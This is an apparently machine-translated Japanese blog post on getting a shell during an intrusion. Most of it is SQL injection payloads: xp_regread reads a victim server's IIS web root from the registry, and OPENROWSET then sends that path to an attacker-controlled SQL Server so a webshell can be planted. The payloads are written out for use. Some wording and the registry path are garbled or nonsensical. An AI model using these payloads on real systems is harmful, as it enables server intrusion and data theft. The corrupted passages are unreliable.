1. ホーム
  2. Web プログラミング
  3. セキュリティ関連

潜入でopenrowsetでシェルを取得する方法

2022-01-02 18:04:11
侵入時にopenrowsetでシェルを取得する方法 
まず思いつくのはBACKUP WEBSHELLで、NBに投げて走り回り、SQLのエラーメッセージがブロックされ、物理パスが使えないことがわかり、PP馬が書かれている。
私は非常に高い権限のコマンドopenrowset、クロスライブラリサーバクエリを考えると、リモートデータベースにSQLコマンドを送信し、返された結果を参照してくださいすることですが、イベントの追跡を開始する 我々は、データベースにサイトの情報を書き込むことができ、その後、%$^%$@#$@^%$〜。
まず、自分のマシンにSQLデータベースを作成します 
次に、もう一台のマシンにテーブルを作成します create table [dbo]. [fenggou]([cha8][char](255)) --
相手側で実行 DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesGuideW3SVCParameters Virtual Roots', '/' ,@result output insert into fenggou (cha8) values('select a. * FROM OPENROWSET(''SQLOLEDB'', ''own IP''; ''sa''; ''your password'', ''select * FROM pubs.dbo.authors where au_fname='''' + @result + '''''AS a');--。
このようにすると、fenggouのテーブルにはこのような行ができます select a.* FROM OPENROWSET('SQLOLEDB','own IP';'sa';'your password', 'select * FROM pubs.dbo.authors where au_fname=''D:\WEB,,1 ''') aとして
もちろん、''D:↵WEB"''はレジストリプルから読み込んだ物理パスです。次に、DECLARE @a1 char(255) set @a1=(select cha8 FROM fenggou) exec (@a1);-- を実行します。
select a.* FROM OPENROWSET('SQLOLEDB','own IP';'sa';'your password', 'select * FROM pubs.dbo.authors where au_fname=''D:\WEB,,1'') の実行に相当するものである。aとして
OK, この時点で、あなたのマシンの SQL イベントトラッカーに select * FROM pubs.dbo.authors where au_fname='D:\WEB,,,1' と表示されるはずです。 
わははははははははははははははははははははは物理パスはこちら ライトポニーは大きな馬を追い越せ〜。